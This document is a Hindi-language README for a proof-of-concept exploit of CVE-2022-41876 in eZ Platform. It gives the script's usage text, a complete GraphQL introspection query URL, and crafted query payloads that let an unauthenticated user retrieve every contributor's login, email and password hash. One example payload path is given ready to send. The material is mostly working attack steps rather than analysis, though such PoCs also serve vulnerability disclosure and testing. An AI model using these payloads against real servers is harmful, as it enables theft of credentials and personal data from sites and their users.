
CVE-2022-41876 के लिए प्रूफ ऑफ कॉन्सेप्ट
eZ Platform में एक कमज़ोरी उभरी है जो एक अनप्रमाणित उपयोगकर्ता को प्रत्येक योगदानकर्ता के पासवर्ड हैश तक पहुंचने देती है। यह PoC 'User' ऑब्जेक्ट तक पहुंचने वाले प्रत्येक संभावित GraphQL पथ को सूचीबद्ध करता है, और फिर उपयोगकर्ताओं की गोपनीय जानकारी प्राप्त करने के लिए इन पथों का अनुरोध करता है।
python3 cve-2022-41876.py -h
usage: cve-2022-41876.py [-h] [-t] [-f FILE] url
CVE-2022-41876 POC
positional arguments:
url Target URL (specify the graphql endpoint)
optional arguments:
-h, --help show this help message and exit
-t, --thread Number of threads
-f FILE, --file FILE Local path to introspect file

CVE का शोषण करने के लिए इस उपकरण द्वारा अपनाए गए विभिन्न चरण इस प्रकार हैं:
इस CVE का शोषण करने के लिए पहला कदम एक introspect.json फ़ाइल प्राप्त करना है। इसे प्राप्त करने का एक तरीका निम्नलिखित पेलोड के साथ सर्वर के graphql एंडपॉइंट को क्वेरी करना है:
https://<your-url>/graphql?query={__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name%20description%20locations%20args{...InputValue}}}}fragment%20FullType%20on%20__Type{kind%20name%20description%20fields(includeDeprecated:true){name%20description%20args{...InputValue}type{...TypeRef}isDeprecated%20deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name%20description%20isDeprecated%20deprecationReason}possibleTypes{...TypeRef}}fragment%20InputValue%20on%20__InputValue{name%20description%20type{...TypeRef}defaultValue}fragment%20TypeRef%20on%20__Type{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name%20ofType{kind%20name}}}}}}}}
फिर सर्वर द्वारा दिए गए json का उपयोग graphql-enum-path टूल से 'User' ऑब्जेक्ट्स के सभी पथ निकालने के लिए किया जा सकता है, जैसे:

अंत में, एक बार सभी पथ मिल जाने पर, एक विशिष्ट पेलोड इस तरह से तैयार किया जाना चाहिए और सर्वर को भेजा जाना चाहिए:
https://<your-url>/graphql?query={element1{element2{element3{...{id,name,login,passwordHash,email,enabled,maxLogin}}}}}
जहाँ तत्व graphql-enum-path के परिणाम में ब्रैकेट के बीच के टेक्स्ट से संबंधित होते हैं (ध्यान दें कि प्रत्येक पथ के लिए एक क्वेरी की जानी चाहिए)।
इसलिए, ऊपर दिए गए graphql-enum-path उदाहरण के साथ, पहला पेलोड होगा:
https://<your-url>/graphql?query={_repository{location{contentInfo{contentType{creator{id,name,login,passwordHash,email,enabled,maxLogin}}}}}}
यदि सर्वर इस CVE के लिए संवेदनशील है, तो वह उस क्वेरी का उत्तर अपने उपयोगकर्ताओं के डेटा वाली एक json फ़ाइल के साथ देगा।